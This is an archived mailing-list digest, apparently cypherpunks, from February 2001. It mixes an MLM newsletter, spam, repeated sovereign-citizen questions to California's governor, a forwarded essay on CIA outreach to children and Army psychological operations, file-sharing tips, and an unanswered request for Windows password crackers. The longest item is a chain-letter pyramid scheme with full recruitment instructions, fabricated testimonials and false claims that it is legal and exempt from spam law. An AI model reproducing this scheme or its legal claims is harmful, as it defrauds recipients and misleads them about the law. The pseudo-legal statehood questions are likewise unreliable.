Visit  http://www.ready2submit.com/free.html
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4) ARTICLE - TERMS WITHIN MULTI LEVEL MARKETING (MLM)
In this article some terms within Multi Level marketing (MLM) will be 
described. The first term we really need to understand is

SPONSOR
As a noun (my sponsor) it is the person who introduced you to the business. 
As a verb (I sponsored Fred) it also means to introduce someone into your 
networking business.

COMP OR MARKETING PLAN
The compensation, marketing or pay plan. This is the payment structure used 
by the company to allocate commissions and bonuses to their distributors. 
Its important to understand it as quickly as you can. Understanding equals 
more income! Some networkers have been known to say things like "Dont worry 
about the plan its complicated - just get on with the business and youll 
earn the money" RUBBISH! You wouldnt take a job without asking about the 
salary and finding out when it was paid would you? A really good question 
to ask here is What is the potential maximum payout? And what was the 
actual payout percentage last year The higher the second figure is - 
the more it is possible for you to earn. With most companies the percentage 
that can be paid out to someone at the top position on their plan is 
around 40-60% (that is of the wholesale product value) The actual percentage 
paid out overall is often less than half that! Partly because few people 
bother to understand the plan and so never benefit from it properly and 
partly for less obvious reasons which Ill cover sometime when Im feeling brave!

UPLINE
This is your sponsor and the people above them, that sponsored them. 
In most companies youll have at least 3 upline business advisors. 
Any of them will help you. Some of them may be more successful than others and, 
just on a personality level, you may get on with some better than others. 
It doesnt matter which ones you work with. This is networking not 
conventional business. Youre not going over your sponsors head - 
youre expected to work with more than one of your upline. 
In conventional business you have advisors; accountant, solicitor, 
bank manager - in networking you have all those too, but also at least 3 
people who specialise in the networking business. They have already succeeded 
and they can help you to do the same. If for any reason they arent helping 
you - complain to the company - they are earning money on your efforts - 
you are entitled to their help. Theyre not psychic though so you need to 
contact them regularly and tell them what you need from them.

DOWNLINE
The people youve introduced into your business, their people and so on. 
Its a collective noun, like a gaggle of geese or a pride of lions you have 
a downline of distributors.

LEG or LINE
All the distributors downline of one of your frontline or first level 
personally sponsored distributors. A section of your business in other words.

LEVEL
The people you sponsor will be on your first level - the people they sponsor 
will be on your second level and so on. This should not be confused with a 
generation which is used to calculate the higher levels of bonus. 

B.O.M. or MEETING
A Business Opportunity Meeting, goodness they were dreadful! 
The way that many people used to recruit for their downlines. 
If youve ever been dragged along to one of these boring events - 
take heart. Times have changed and many companies have now abandoned them. 
Theyve been replaced with modern tools like videos, audios, fax on demand, 
auto-responders on the internet, telephone conference calls and internet 
presentations. All of which can be viewed or listened to at a time that suits 
you from home -Far more civilized!

STARTER PACK
A kit of information and often some products that you can purchase from a 
company to start your business properly. Dont even think of trying to do 
without it - youll fail.

Read more from the autor at: http://www.first.uk.com/mlm/
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The cource is set up according to international standards. 

Wisit our sites for more inforamtion 
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5) - The Newsletter's ad rates:

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Direct questions to bjorn279 at yahoo.com


If you have an informative article that you would like to share,
please email your article to bjorn279 at yahoo.com  If we use
your article, you will get great exposure and a link to your site.

Until Next month
Have a great time on the net!

Editor: B. Osland
__________________________________________________________________________
_
__________________________________________________________________________
_
This is a newsletter that will go out to the 200.000 receptions only one 
time each a month. 
You received this issue of the The monthly Internet Information2U Newsletter  
because you one or several times has expressed your interest for the 
Internet opportunities or information seek. If this is wrong for you, 
we are sorry for the inconvenient and will ask you to go tu the 
unsubscribe site to awoid another newsletter next month.

SUBSCRIBE - http://www.geocities.com/bjorn279/subscribe.html
UNSUBSCRIBE - http://www.geocities.com/bjorn279/unsubscribe.html
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From rick2 at apexmail.com  Sat Feb 24 08:31:58 2001
From: rick2 at apexmail.com (rick2 at apexmail.com)
Date: Sat, 24 Feb 2001 08:31:58
Subject: Turn Your $35 Into $88,620 WITHOUT LIFTING A FINGER!!!
Message-ID: <426.437376.365339@server01>


Hi Opportunity Seeker,

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................................................................
.....
To be removed from this mailing list please send 
mailto:elite1 at usa.com?subject=remove me!

 
 
 
 
 
 
 
 




From julswig at juno.com  Sat Feb 24 12:10:54 2001
From: julswig at juno.com (Julian Swig)
Date: Sat, 24 Feb 2001 12:10:54 -0800
Subject: Questions for State Portal Fads
Message-ID: <20010224.121054.-566203.14.julswig@juno.com>

Dear Gray Davis;

        Please answer these two questions in the Fads under
www.ca.gov.state/portal/myca.faq.jsp...

        The parties on the cc; list are invited to join this request by
way of reply and by further distribution to others. They are asked to add
julswig at juno.com to the reply for right to petition documentation
purposes.

        QUESTION ONE: Is it true the State government left the union on
1-01-1873 by organizing under Codes never enacted on the record according
to law?

        QUESTION TWO: Is it true that the seat of government for the
present State of California is the District of Columbia (3 USC '21, 1, 2,
& 9)?

        Respectfully,

        Peoples Law Association/Julian: Swig at julswig at juno.com
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From slayer1 at ptt.yu  Sat Feb 24 03:27:34 2001
From: slayer1 at ptt.yu (Predrag)
Date: Sat, 24 Feb 2001 12:27:34 +0100
Subject: DeCSS-ed mice
Message-ID: <001e01c0a967$76db8f00$0500a8c0@gamer>


well, they could well be


Police hunt for rabid mice

AUTHORITIES in the Lithuanian city of Siauliai are searching for 23
rabies-infected mice that disappeared from a research laboratory. Police say
the mice, which disappeared on Monday, were either stolen to sell as pet
food for snakes or that someone stole the containers holding them without
realising what was inside. The city's veterinary service head said: "This is
a very dangerous situation. The mice must be brought back, dead or alive."








From julswig at juno.com  Sat Feb 24 12:28:04 2001
From: julswig at juno.com (Julian Swig)
Date: Sat, 24 Feb 2001 12:28:04 -0800
Subject: Questions for State Portal FAQs
Message-ID: <20010224.122805.-566203.20.julswig@juno.com>

Dear Gray Davis;

        Please answer these two questions in the FAQs under
www.ca.gov.state/portal/myca.faq.jsp...

        The parties on the cc; list are invited to join this request by
way of reply and by further distribution to others. They are asked to add
julswig at juno.com to the reply for right to petition documentation
purposes.

        QUESTION ONE: Is it true the State government left the union on
1-01-1873 by organizing under Codes never enacted on the record according
to law?

        QUESTION TWO: Is it true that the seat of government for the
present State of California is the District of Columbia (3 USC '21, 1, 2,
& 9)?

        Respectfully,

        Peoples Law Association/Julian: Swig at julswig at juno.com
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From atek3 at gmx.net  Sat Feb 24 12:58:47 2001
From: atek3 at gmx.net (atek3)
Date: Sat, 24 Feb 2001 12:58:47 -0800
Subject: The CIA for Kids?
References: <v04220809b6b70e1578e5@[198.4.94.186]>
Message-ID: <000d01c09ea4$9e7ea920$6975e5a9@Reshall.berkeley.edu>


Oh, well if andy yauch knows that the only way to stop violence is to "ban
guns", well shit, what are we waiting for!
Because when guns are banned, only the government (and criminals) will have
guns, sounds like the kind of country I want to live in...no wait, thats the
kind of country stalin wants to live in, oops my bad.

atek3

----- Original Message -----
From: "Matthew Gaylor" <freematt at coil.com>
To: <cypherpunks at cyberpass.net>
Cc: <fight-censorship at vorlon.mit.edu>
Sent: Monday, February 19, 2001 9:54 AM
Subject: CDR: The CIA for Kids?


> The CIA for Kids?
>
> The Central Intelligence Agency now has a web site for children.  And
> I'm not kidding. http://www.cia.gov/cia/ciakids/index.html
>
> At their site you can "Fly High On Intelligence, NOT Drugs".  Kids
> get to learn why the CIA is involved in thwarting nacrotraffic and
> finding money launders while playing such games as "Break the Code"
> or the "Geography Trivia Quiz".  Or budding junior spies can bone up
> with the "Intelligence Book List" or take a virtual tour of the CIA.
>
> Most of the alphabet soup agencies have rushed head long into
> providing content for children both overtly as evidenced by sites
> such as the CIA's and much more ominously, covertly.
>
> You may have heard that the White House's Office of National Drug
> Control Policy (ONDCP) http://www.whitehousedrugpolicy.gov/ pays
> popular Hollywood TV programs to insert anti-drug messages into the
> story lines of the shows.  After some protests among civil
> libertarians, the ONDCP in conjunction with the TV producers agreed
> to mention in the credits that the program was supported by ONDCP.
> This is the same agency that was forced last June to stop tracking
> computer users who viewed their anti drug advertisements on the
> Internet.  Their use violated federal privacy guidelines.  See:
> http://www.nytimes.com/library/tech/00/06/biztech/articles/22net.html
>
> What is less widely known and is not in my opinion publicized due to
> political reasons, is the US Justice Department's practice of
> inserting anti-gun propaganda in various TV programming. Much of the
> anti-gun messages are cloaked in anti-violence material.  In 1999
> MTV, the popular music television station owned by Viacom
> International, released a CD Rom titled "Fight For Your Rights: take
> a stand against violence".  The CD included works by Lauryn Hill, The
> Dave Matthews Band, Everclear, The Backstreet Boys, Alanis
> Morrissette, Tori Amos and included sound bites from other popular
> artists.  Adam Yauch of the Bestie Boys on track 13, the last track
> of the CD, mentioned that the only way to stop violence was to ban
> guns.
>
> I received my free copy of the CD-Rom directly from the US Justice
> Department's Office of Juvenile Justice.
>
> And nary a ripple surfaced last year by the mainstream media when it
> was revealed that the US Army's Psychological Operations Units do
> Internships at CNN and other news outlets.
>
> In March of 2000 I posted some information to my worldwide mailing
> list, Freematt's Alerts, on the subject of Psychological Operations
> On The Internet. I had posted some information on UKUSA's Echelon,
> the global spy network.
>
> I posted some info from John Young's <jya at pipeline.com> excellent
> site:   http://cryptome.org/
>
> In particular I posted this quote from http://cryptome.org/madsen hmhd.htm
>
> "They constantly broadcast disinformation to television and radio
> audiences in Haiti, Serbia, Colombia, Mexico and elsewhere."
>
> Lo and behold, I got contacted by a member of the US Army Reserve's
> 246th Psychological Operations Company from Columbus, Ohio who took
> exception with that comment.  His title is All-Source Intelligence
> Analyst and Psychological Operations Specialist.
>
> He claims to have contacted me as a private citizen and he mentioned
> that he didn't tell me anything that wasn't open information. I
> engaged with him over several emails then I switched into an IRC
> channel for a couple of hours and I quizzed him on several issues
> that some of you may find noteworthy.  I'll refer to him as Agent X
> out respect for his privacy.
>
> Agent X wrote:
> I find it interesting how people with very little information about
> what information the U.S. Actually does put out are so quick to
> judge.  The USIA/USIS and Army Psyop do try to  earn people's support
> for U.S. policy.    This "disinformation" that is put out is Mine
> awareness so that children don't end up dead or maimed, they try to
> get civilians to clear military convoy routes so that relief aid can
> be  transported to the needy, like the orphanage in Haiti that had
> run out of food because a tropical storm had knocked out the bridge
> on the only road to  them.  The U.S. did not engage in the use of the
> Internet as an information tool in Bosnia as the legality of the
> issue was still under debate.  Under U.S. law and Army Policy no
> Psyop may be conducted on U.S. citizens.  The internet being an open
> medium would have allowed U.S. citizens to be subjected to the
> information.  As such the internet was not used.
>
> An article written about my Psychological Operations Unit in Haiti:
>
> http://www.dtic.mil/soldiers/may95/p40.html
>
> Matthew Gaylor's response: I opinioned that sending troops down to
> Haiti to perform community service seems like a total waste of money
> as the service could have been done by a well equipped Boy Scout
> troop.
>
> Agent X continued:
> The goal of psyop is to win the hearts and minds...the nuns were
> greatful...do you think they supported our mission there after that?
> My  units mission is tactical meaning we coordinate radio broadcasts,
> distribute  fliers and do loudspeaker broadcasts.  I know the
> internet was not used for  psyop in bosnia for a fact.  The army was
> still developing its policy on that  medium.  There is a terrific
> after action report online that discusses the failure of the US to
> seize this medium.
>
> http://www.dodccrp.org/bosend.htm
>
> This is the end notes that discusses the internet failure.  I warn
> you its  quite dry and the psyop bit is towards the end.  At the base
> of the page is  URLs to the rest of the site for the full article.
>
> Matthew Gaylor responded:
> I can fully believe that the Internet wasn't used in Haiti, after all
> it isn't used in Cuba either, because hardly anybody has a decent
> supply of toilet paper let alone Internet access.
>
> Agent X responds:
> As to the internet and haiti... the comment had to do more with our
> supposed  "disinformation" then on the use of the internet but you're
> right in Haiti that would be a poor medium.
>
> The US is just now bringing its Psyop units up for capability to use
> the  internet.  All information distributed must be approved by the
> National  Command during peace time.  SO everything we get is drawn
> up by others.  That  way the entire campaign is coordinated
> effectively and no messages that would  offend are put out.
>
> What I'm saying is that up to 1997 the US had not been involved in
> psyacts on  the internet.  That was Bosnia...now as to Kosovo in 1999
> the situation
> hasn't changed much...but we will use any means to cripple an enemies
> communication systems...such as denial of service and such in serbia.
>
> ###
>
> The following interchanges occurred between myself (Wagthedogy) and
> Agent X using an instant message service. Some of the comments
> started out specific to Ohio, but then branched out.
>
> Wagthedogy: What does Sen. Mike Dewine (R) Ohio have?
> Agent X: Influence in Washington
> Wagthedogy   I mean, what issues?
> Agent X He's pretty standard party line republican
> Wagthedogy: You mean gun control, larger government etc.?
> Agent X: well theoretically...republicans want smaller government
> Wagthedogy:  Don't listen to what they say watch what they do.  In
> psyopps you should know that.
> Agent X: yes but I'm not a total libertarian either
> Agent X: is why I pick and choose
> Wagthedogy: It doesn't matter how libertarian you are.  What
> matters is if you believe in freedom and the constitution.
> Agent X: I believe in strong national defense
> Wagthedogy: Me too
> Wagthedogy: But we have troops in Columbia fighting the drug war
> as an example.
> Agent X: we provide MI support
> Agent X: and occasionally we send units to train with the columbians
> Wagthedogy: Delta is on the ground in Columbia running missions
> Agent X: Yes and usarso has done it too and one of my good
> friends was there.
>
> Wagthedogy: What major issue to you differ with the Libertarians?
> Agent X: yes but I don't think we should have no government either
> Wagthedogy: Me either
> Agent X: I believe in some foreign aid and intervention
> Wagthedogy: How much and to who?
> Agent X: To any ally strategically of interest to us. Georgia
> is a huge one at the moment. It is important we keep russia from
> redominating half the world
> Wagthedogy: Like Chile?  Kissinger once remarked it was a giant
> dagger pointed towards antarctica <grin>
> Wagthedogy: 3 billion to Israel?
> Agent X: Georgia is at the center of a sphere of influence
> that surrounds the majority of the worlds oil.
>
> Wagthedogy: Here's a question for you.  What is your world view?
> What do you believe?
> Agent X: world view? meaning?
> Wagthedogy: Ideology, culture, religion, you're relationship to
> others, etc.
> Agent X: As an american I was brought up in one of the most
> ethnocentric cultures in the world as to religion I'm atheist as to a
> christian god...agnostic as to a God. I was raised lower income
> protestant Am now middle income. Is that what you wanted to know or?
> Wagthedogy: What about your political ideology.  What
> thinkers/writers have influenced you?
> Agent X: well not really political but I like Nietzsche...as
> to politics I haven't read much I've read Machevellis "The Prince",
> Thomas More's "Utopia", I've read Brave New World, 1984, Fahrenheit
> 451, Animal Farm...all those sorts of things.
> Wagthedogy: That's a good start.
> Wagthedogy: Do you plan to enter the Army full time?
> Agent X: no...having dual job specialties in the army...with
> psyop and mi always short handed I can be on active duty as much as I
> want
>
> Agent X: SWIC is the Special Warfare Instruction Center...well
> the John Fitzgerald Kenenedy SWIC...its at Ft. Bragg anyway their
> website will probably tell you more
> Wagthedogy: What schools in the Army have you been to?
> Agent X: basic training ft leonard wood, ait ft huachuca - all
> source intel analyst course,basic airborne ft benning,jrtc ft polk,
> ft knox psychological operations specialist.
> Wagthedogy: I sure hope you didn't help set up the loudspeakers at WACO
> Agent X: No
> Wagthedogy: That's an example of psyopps.
> Agent X: if any psyop was there at all it was the 321s or 5th
> I forget out of dallas. But I'm pretty sure that was FBI stuff not
> Army. National guard was there but they have no psyop assets. For
> psyop to have been there they would have had to be called up by
> presidential order.
> Wagthedogy: FBI with Delta advisors.
>
> [End note from Matthew Gaylor: I edited the above text for clarity
> and I sniped some irrelevant commentary.]
>
> Regards, Matt-
>
>
> **************************************************************************
> Subscribe to Freematt's Alerts: Pro-Individual Rights Issues
> Send a blank message to: freematt at coil.com with the words subscribe FA
> on the subject line. List is private and moderated (7-30 messages per
month)
> Matthew Gaylor, 2175 Bayfield Drive, Columbus, OH 43229
> (614) 313-5722  ICQ: 106212065   Archived at
http://groups.yahoo.com/group/fa/
> **************************************************************************
>
>




From rr_moore19 at yahoo.com  Sat Feb 24 17:49:09 2001
From: rr_moore19 at yahoo.com (rr_moore19 at yahoo.com)
Date: Sat, 24 Feb 2001 17:49:09
Subject: New Year Millionaire
Message-ID: <797.727418.673510@mailserv.dom.com>


  
EARN EXTRA MONEY THIS WINTER RIGHT FROM YOUR HOME! 

-----------------------------------------------------------------
---------------


I Never Thought I'd Be the One Telling You This:
I Actually Read a Piece of E-mail which has helped me become debt 
free   
-----------------------------------------------------------------
---------------

Hello Friend,

As a rule, I delete all unsolicited "junk" e-mail and use my 
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About two months ago I received it again and, because of the 
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OVERVIEW OF THIS EXTRAORDINARY ELECTRONIC MULTI-LEVEL MARKETING 
PROGRAM


-----------------------------------------------------------------
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Basically, this is what we do:

We send thousands of people a product for $5 US that costs next 
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* The name and number of the report they are ordering
* The e-mail address where you will e-mail them the
report they ordered.

To fill each order, you simply e-mail the product to the buyer.

THAT'S IT!

The $5.00 is yours!

This is the EASIEST electronic multi-level marketing business 
anywhere!


-----------------------------------------------------------------
---------------

FOLLOW THE INSTRUCTIONS TO THE LETTER AND BE PREPARED TO REAP THE 
STAGGERING BENEFITS!

                           $$$$ IMPORTANT INFORMATION $$$$


****** READ CAREFULLY! *******


-----------------------------------------------------------------
---------------


S E T U P      I N S T R U C T I O N S
*******************************************************

This is what you MUST do:

1. Order all 5 reports from the different individuals shown on 
the list below (you can't sell them if you don't order them).

* For each report, send $5 US CASH, the NAME  NUMBER OF THE 
REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR RETURN 
POSTAL ADDRESS (in case of a problem) to the person whose name 
appears on the list next to the report.

* When you place your order, make sure you order each of the five 
reports. You will need all five reports so that you can save them 
on your computer and resell them.

* Within a few days you will receive, via e-mail, each of the 
five reports. Save them on your computer so they will be 
accessible for you to send to the 1, 000's of people who will 
order them from you.

2. IMPORTANT-- DO NOT alter the names of the people who are 
listed next to each report, or their sequence on the list, in any 
way other than is instructed below in steps "a" through "f" or 
you will lose out on the majority of your profits. Once you 
understand the way this works, you'll also see how it doesn't 
work if you change it.  Remember this method has been tested, and 
if you alter it, it will not work.
a. Look below for the listing of available reports.
b. After you've ordered the five reports, replace the name and 
address under REPORT #1 with your name and address, moving the 
one that was there down to REPORT #2.
c. Move the name and address that was under REPORT #2 down to 
REPORT #3.
d. Move the name and address that was under REPORT #3 down to 
REPORT #4.

e. Move the name and address that was under REPORT #4 down to 
REPORT #5.
f. The name and address that was under REPORT #5 is removed from 
the list and has NO DOUBT collected their thousands.

Please make sure you copy everyone's name and address 
ACCURATELY!!! 

3. Take this entire letter, including the modified list of names, 
and save it to your computer. Make NO changes to the instruction 
portion of this letter.

4. Now you're ready to start an advertising campaign on the 
WORLDWIDE WEB! Advertising on the WEB is very, very inexpensive, 
and there are HUNDREDS of FREE places to advertise. Another 
avenue which you could use is to send thousands of emails for 
free, which you will learn how from the reports.

BE SURE TO START YOUR AD CAMPAIGN IMMEDIATELY!

5. For every $5.00 you receive, all you must do is e-mail them 
the report they ordered. THAT'S IT! ALWAYS PROVIDE SAME-DAY 
SERVICE ON ALL ORDERS! This will guarantee that the e-mail THEY 
send out, with YOUR name and address on it, will be prompt 
because they can't advertise until they receive the report!

------------------------------------------

AVAILABLE REPORTS

------------------------------------------

***Order Each REPORT by NUMBER and NAME***

Notes:
- SEND $5 US FUNDS ONLY !!!!
- SEND ONLY CASH ; CHEQUES NOT ACCEPTED

- ALWAYS SEND YOUR ORDER VIA FIRST CLASS MAIL
- Make sure the cash is concealed by wrapping it in at least two 
sheets of paper - On one of those sheets of paper, include: (a) 
the number  name of the report you are ordering, (b) your e-mail 
address, and (c) your postal address. 
- MAKE SURE YOU COPY ALL THE ADDRESSES CARFULLY AND ACCURATELY 
!!!

REPORT #1 "The Insider�s Guide to Advertising for Free on the 
Net�  Order Report #1 from:

B. McDonald
Suite 409
1500 Bank St
Ottawa, ON
K1H 1B8
Canada


REPORT #2" The Insider�s Guide to Sending Bulk e-mail on the Net�
ORDER REPORT #2 FROM:

T. Richardson
P.O. Box 753
Richland, MO 65556
USA

REPORT #3 "Secret to Multilevel Marketing on the Net�"
ORDER REPORT #3 FROM:

C.J. Kalata
P.O. Box 130157
Roseville, MN 55113
USA

REPORT #4 "How to Become a Millionaire Utilizing MLM & the Net�
ORDER REPORT #4 FROM

R. B.
Box 21115
Grande Prairie, Alberta
T8V 6W7
Canada

REPORT #5 "How to Send Out One Million e-mails for Free�
ORDER REPORT #5 FROM

B. Taylor
P.O. Box 26001
Fredericton, NB
E3A 5V8
Canada

----------------------------------------------------

HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$

-----------------------------------------------------------------

Let's say you decide to start small just to see how well it 
works.   Assume your goal is to get 10 people to participate on 
your first level. (Placing a lot of FREE ads on the internet and 
sending emails will EASILY get a larger response.) Also assume 
that everyone else in YOUR ORGANIZATION gets ONLY 10 downline 
members. Follow this example to achieve the STAGGERING results 
below.

1st level--your 10 members with $5..............$50
2nd level--10 members from those 10
.......................($5 x 100).............$500
3rd level--10 members from those 100
.......................($5 x 1,000)...........$5,000
4th level--10 members from those 1,000
.......................($5 x 10,000)..........$50,000
5th level�10 members from those 10,000

.......................($5x 100,000)..........$500,000

THIS TOTALS
-----------
$555,550

Remember friends, this assumes that the people who participate 
only recruit 10 people each. Think for a moment what would happen 
if they got 20 people to participate!

Most people get 100's of participants!

THINK ABOUT IT!

Your cost to participate in this is practically nothing (surely 
you can afford $25). You obviously already have an internet 
connection and e-mail is FREE!!! 

REPORT#5 shows you the most productive methods for bulk e-mailing 
and how easy it is.

About 50,000 new people get online every month!

*******TIPS FOR SUCCESS*******
* TREAT THIS AS YOUR BUSINESS! Be prompt, professional, and 
follow the directions accurately.
* Send for the five reports IMMEDIATELY so you will have them 
when the orders start coming in because:

When you receive a $5 order, you MUST send out the requested 
product/report to comply with the U.S. Postal  Lottery Laws, 
Title 18,Sections 1302 and 1341 or Title 18, Section 3005 in 
theU.S. Code, also Code of Federal Regs. vol. 16, Sections 255 
and 436, which state that "a product or service must be exchanged 
for money received."

* ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.
* Be patient and persistent with this program. If you follow the 
instructions exactly, the results WILL undoubtedly be SUCCESSFUL!

* ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!

*******YOUR SUCCESS GUIDELINE*******

Follow these guidelines to guarantee your success:

If you don't receive 10 to 20 orders for REPORT #1 within two 
weeks, continue advertising and sending until you do. Then, a 
couple of weeks later you should receive at least 100 orders for 
REPORT #2.  If you don't, continue advertising and sending until 
you do. Once you have received 100 or more orders for REPORT #2, 
YOU CAN RELAX, because the system is already working for you, and 
the cash will continue to roll in!

THIS IS IMPORTANT TO REMEMBER:

Every time your name is moved down on the list, you are placed in 
front of a DIFFERENT report. You can KEEP TRACK of your PROGRESS 
by watching which report people are ordering from you. If you 
want to generate more income, send another batch of e-mails and 
start the whole process again! There is no limit to the income 
you will generate from this business!

NOTE: If you need help with starting a business, registering a 
business name, how income tax is handled, etc., contact your 
local office of the Small Business Administration (a Federal 
agency) for free help and answers to questions.  Also, the 
Internal Revenue Service offers free help via telephone and free 
seminars about business taxes.

*******T E S T I M O N I A L S*******

This program does work, but you must follow it EXACTLY! 
Especially the rule of not trying to place your name in a 
different position, it won't work and you'll lose a lot of 
potential income. I'm living proof that it works. It really is a 
great opportunity to make relatively easy money, with little cost 
to you. If you do choose to participate, follow the program 
exactly, and you'll be on your way to financial security.
Sean McLaughlin, Jackson, MS

My name is Frank. My wife, Doris, and I live in Bel-Air, MD. I am 
a cost accountant with a major U.S. Corporation and I make pretty 
good money. When I received the program I grumbled to Doris about 
receiving "junk mail. "  I made fun of the whole thing, spouting 
my knowledge of the population and percentages involved. I "knew" 
it wouldn't work. Doris totally ignored my supposed intelligence 
and jumped in with both feet. I made merciless fun of her, and 
was ready to lay the old "I told you so" on her when the thing 
didn't work...well, the laugh was on me! Within two weeks she had 
received over 50 responses. Within 45 days she had received over 
$147,200 in $5 bills! 

I was shocked! I was sure that I had it all figured and that it 
wouldn't work. I AM a believer now. I have joined Doris in her 
"hobby."  I did have seven more years until retirement, but I 
think of the "rat race" and it's not for me. We owe it all to 
MLM. Frank T., Bel-Air, MD

I just want to pass along my best wishes and encouragement to 
you. Any doubts you have will vanish when your first orders come 
in. I even checked with the U.S. Post Office to verify that the 
plan was legal. It definitely is! IT WORKS!!! Paul Johnson, 
Raleigh, NC

The main reason for this letter is to convince you that this 
system is honest, lawful, extremely profitable, and is a way to 
get a large amount of money in a short time. I was approached 
several times before I checked this out. I joined just to see 
what one could expect in return for the minimal effort and money 
required. To my astonishment, I received $36,470.00 in the first 
14 weeks, with money still coming in.
Sincerely yours, Phillip A. Brown, Esq.


-----------------------------------------------------------------
---------------



FOR YOUR INFORMATION....
If you need help with starting a business, registering a business 
name, learning how income tax is handled, etc., contact your 
local office of the Small Business Administration (a Federal 
agency) 1-(800)827-5722 for free help and answers to questions. 
Also, the Internal Revenue Service offers free help via telephone 
and free seminars about business tax requirements.

Under Bill S1618 Title III passed by the 105th US Congress this 
letter cannot be considered spam as long as the sender includes 
contact information and a method of removal.  This is a one time 
e-mail transmission. No request for removal is necessary.

If you have any questions of the legality of this program, 
contact the
Office of Associate Director for Marketing Practices, Federal 
Trade
Commission, Bureau of Consumer Protection, Washington, D.C. 

To remove your name from our list, please email  
remov33_3 at yahoo.com


Thank you and Good Luck !!

 





 

 

 
 
 
 
 




From adam at cypherspace.org  Sat Feb 24 18:30:46 2001
From: adam at cypherspace.org (Adam Back)
Date: Sat, 24 Feb 2001 22:30:46 -0400
Subject: OpenNap Server (Re: Why Gnutella Can't Scale. No, Really)
In-Reply-To: <Pine.LNX.4.21.0102161033220.11632-100000@bolt.sonic.net>; from Ray Dillinger on Fri, Feb 16, 2001 at 10:36:31AM -0800
References: <200102160339.WAA00981@modemcable005.191-202-24.mtl.mc.videotron.ca> <Pine.LNX.4.21.0102161033220.11632-100000@bolt.sonic.net>
Message-ID: <20010224223046.A36604@cypherpunks.ai>


Take a look at:

	http://opennap.sourceforge.net

Adam

On Fri, Feb 16, 2001 at 10:36:31AM -0800, Ray Dillinger wrote:
> On Thu, 15 Feb 2001, Adam Back wrote:
> 
> >It may be that Napster will continue in the form of the open napster
> >clones, even if Napster the company is prevented.  Anyone can start
> >napster servers at this point.  
> 
> I don't know if it implements exactly the same protocol, but 
> SuSE 7.1 (released on the 12th of February, which is an interesting 
> date considering the timing of the napster ruling) contains something 
> called "gnapster". 
> 
> check http://www.suse.com.
> 




From julswig at juno.com  Sat Feb 24 23:30:48 2001
From: julswig at juno.com (Julian Swig)
Date: Sat, 24 Feb 2001 23:30:48 -0800
Subject: Questions for State Portal FAQs
Message-ID: <20010224.233048.-448201.4.julswig@juno.com>

Dear Gray Davis;

        Please answer these two questions in the FAQs for History and
Culture of California under www.ca.gov.state/portal/myca.faq.jsp...

        The parties on the cc; list are invited to join this request by
way of reply and by further distribution to others. They are asked to add
julswig at juno.com to the reply for right to petition documentation
purposes.

        QUESTION ONE: Is it true the State government left the union on
1-01-1873 by organizing under Codes never enacted on the record according
to law?

        QUESTION TWO: Is it true that the seat of government for the
present State of California is the District of Columbia (3 USC §21, 1, 2,
& 9)?

        Respectfully,

        Peoples Law Association/Julian: Swig at julswig at juno.com
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From julswig at juno.com  Sat Feb 24 23:34:31 2001
From: julswig at juno.com (Julian Swig)
Date: Sat, 24 Feb 2001 23:34:31 -0800
Subject: Questions for State Portal FAQs
Message-ID: <20010224.235810.-448201.6.julswig@juno.com>

Dear Gray Davis;

        Please answer these two questions in the FAQs under
www.ca.gov.state/portal/myca.faq.jsp...

        The parties on the cc; list are invited to join this request by
way of reply and by further distribution to others. They are asked to add
julswig at juno.com to the reply for right to petition documentation
purposes.

        QUESTION ONE: Is it true the State government left the union on
1-01-1873 by organizing under Codes never enacted on the record according
to law?

        QUESTION TWO: Is it true that the seat of government for the
present State of California is the District of Columbia (3 USC '21, 1, 2,
& 9)?

        Respectfully,

        Peoples Law Association/Julian: Swig at julswig at juno.com
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From adam at cypherspace.org  Sat Feb 24 20:17:26 2001
From: adam at cypherspace.org (Adam Back)
Date: Sun, 25 Feb 2001 00:17:26 -0400
Subject: other file sharing apps (Re: OpenNap Server)
In-Reply-To: <20010224223046.A36604@cypherpunks.ai>; from Adam Back on Sat, Feb 24, 2001 at 10:30:46PM -0400
References: <200102160339.WAA00981@modemcable005.191-202-24.mtl.mc.videotron.ca> <Pine.LNX.4.21.0102161033220.11632-100000@bolt.sonic.net> <20010224223046.A36604@cypherpunks.ai>
Message-ID: <20010225001726.A37274@cypherpunks.ai>


Also imesh (http://www.imesh.com) seems to work ok.

No details of how it works, but it has a reasonable selection
of music (and porn videos by the look of it) and is faster
than gnutella.

I guess a big thing going for distributed file sharing is the
interest level.  These napster a-like people (imesh) claim to
have 4 million users.

If they get closed down next there are lots of others.  I
figure the thought police have lost already.

Adam

On Sat, Feb 24, 2001 at 10:30:46PM -0400, Adam Back wrote:
> 
> Take a look at:
> 
> 	http://opennap.sourceforge.net




From julswig at juno.com  Sun Feb 25 01:04:56 2001
From: julswig at juno.com (Julian Swig)
Date: Sun, 25 Feb 2001 01:04:56 -0800
Subject: Questions for State Portal FAQs
Message-ID: <20010225.010457.-448201.14.julswig@juno.com>

Dear Gray Davis; governor at governor.ca.gov

        Please answer these two questions in the FAQs for History and
Culture of California under www.ca.gov.state/portal/myca.faq.jsp...

        The parties on the cc; list are invited to join this request by
way of reply and by further distribution to others. They are asked to add
julswig at juno.com to the reply for right to petition documentation
purposes.

        QUESTION ONE: Is it true the State government left the union on
1-01-1873 by organizing under Codes never enacted on the record according
to law?

        QUESTION TWO: Is it true that the seat of government for the
present State of California is the District of Columbia (3 USC '21, 1, 2,
& 9)?

        Respectfully,

        Peoples Law Association/Julian: Swig at julswig at juno.com
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From atek3 at gmx.net  Sun Feb 25 09:59:20 2001
From: atek3 at gmx.net (atek3)
Date: Sun, 25 Feb 2001 09:59:20 -0800
Subject: PWL Crackers
References: <002401c09f3c$343a6430$6ec0a4d8@lazzyboy>
Message-ID: <002801c09f54$b278bbe0$6975e5a9@Reshall.berkeley.edu>

where do these assholes come from, would anyone mind telling me that?

atek3
  ----- Original Message ----- 
  From: Michael Levin 
  To: cypherpunks at toad.com 
  Sent: Sunday, February 25, 2001 7:04 AM
  Subject: CDR: PWL Crackers


  Hey Do You Have Any PWL Crackers That Work For Win2k To Crack Win95 PWL's

  Thanks,
  Stoner12
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From Stoner12 at myrealbox.com  Sun Feb 25 07:04:07 2001
From: Stoner12 at myrealbox.com (Michael Levin)
Date: Sun, 25 Feb 2001 10:04:07 -0500
Subject: PWL Crackers
Message-ID: <002401c09f3c$343a6430$6ec0a4d8@lazzyboy>

